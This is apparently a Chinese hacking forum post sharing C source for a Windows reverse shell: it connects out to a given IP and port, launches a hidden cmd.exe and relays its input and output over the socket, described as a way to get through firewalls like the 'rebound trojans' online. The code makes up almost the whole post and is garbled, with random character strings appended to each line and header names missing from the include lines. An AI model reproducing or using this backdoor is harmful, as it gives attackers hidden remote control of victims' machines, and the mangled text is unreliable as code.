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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '/ Hoq  
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/* ============================== $ ~%Y}Xt*  
Rebound port in Windows NT F {L#  
By wind,2006/7 y }R2ZO  
===============================*/ hFr+K1  
#include #rGCv~0*l  
#include IZLCwaW  
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#pragma comment(lib,"wsock32.lib") /.!&d^  
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void OutputShell(); F02TM#Zi  
SOCKET sClient; O|=?!|`o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @d|Sv1d%  
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void main(int argc,char **argv) C(B"@   
{ e],(d7Jo  
WSADATA stWsaData; RfD#/G3|  
int nRet; U_gkO;s%  
SOCKADDR_IN stSaiClient,stSaiServer; *!BQ1 ] G  
;^0ok'P\~9  
if(argc != 3) =LK`m NA  
{ ;y@zvec4  
printf("Useage:\n\rRebound DestIP DestPort\n"); kJOZ;X=9/  
return; : fYfXm  
} }wv Rs5;o  
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WSAStartup(MAKEWORD(2,2),&stWsaData); y_q1Y70i2r  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BCz4 s{F  
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stSaiClient.sin_family = AF_INET; JLoE)\Mi  
stSaiClient.sin_port = htons(0); R[v<mo[s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L&:A59)1k  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DO*6gzW  
{ #4LTUVH  
printf("Bind Socket Failed!\n"); Op~:z<z  
return; 7]5~ml3:  
} Lk#)VGk:  
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stSaiServer.sin_family = AF_INET; e@Ev']  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PX&}g-M9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1(# H%  
_:tS-Mx@5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |4j6}g\  
{ 9IG<9uj  
printf("Connect Error!"); (0LA.aBIf  
return; 'sa)_?Hy  
} B= E/|J</  
OutputShell(); 4Y1^ U{A+  
} Fec4#}|  
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void OutputShell() U*sQ5uq  
{ [kr-gV  
char szBuff[1024]; %_p]6doF  
SECURITY_ATTRIBUTES stSecurityAttributes; 4[;}/-  
OSVERSIONINFO stOsversionInfo; b 1Wz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P~:^bU^F7  
STARTUPINFO stStartupInfo; T8&sPt,f  
char *szShell; 7^! zT  
PROCESS_INFORMATION stProcessInformation; Xg_l4!T_l  
unsigned long lBytesRead; iY2q^z/S  
w?nSQBz$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w;AbJCv2  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |HY{Q1%  
stSecurityAttributes.lpSecurityDescriptor = 0; =1|p$@L`%  
stSecurityAttributes.bInheritHandle = TRUE; 55<!H-zt  
)*uotV  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f!5w+6(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BU>R<A5h  
AOcUr)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P()W\+",n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I D-I<Ev  
stStartupInfo.wShowWindow = SW_HIDE;  DQV9=  
stStartupInfo.hStdInput = hReadPipe; &1 yErGXC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y*#TfWv:  
ls9Y?  
GetVersionEx(&stOsversionInfo); y<R5}F  
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switch(stOsversionInfo.dwPlatformId) #FRm<9/j  
{ B]gyj  
case 1: \21Gg%W5AE  
szShell = "command.com"; LqJV  
break; :-hVbS0I  
default: S-Vxlku]  
szShell = "cmd.exe"; x 00'wY|  
break; wnXU=  
} E1Q#@*rX>  
})uyq_nz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t&5Ne ?  
c0&! S-4M  
send(sClient,szMsg,77,0); d >zC[]1  
while(1) z`\KQx  
{ W[Z[o+7pK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p*@t$0i  
if(lBytesRead) FBouXu#  
{ !lsa5w{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c`lL&*]  
send(sClient,szBuff,lBytesRead,0); /FPO'} 6i  
} [GI2%uA0  
else sVmqx^-  
{ {dE(.Z?]!#  
lBytesRead=recv(sClient,szBuff,1024,0); ?GLCd7TP  
if(lBytesRead<=0) break; ph!h8@e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mO]dP;,  
} 5K$<Ad4$b  
} y[S9b (:+  
yqtHlz%  
return; ? }`mQ<~  
}
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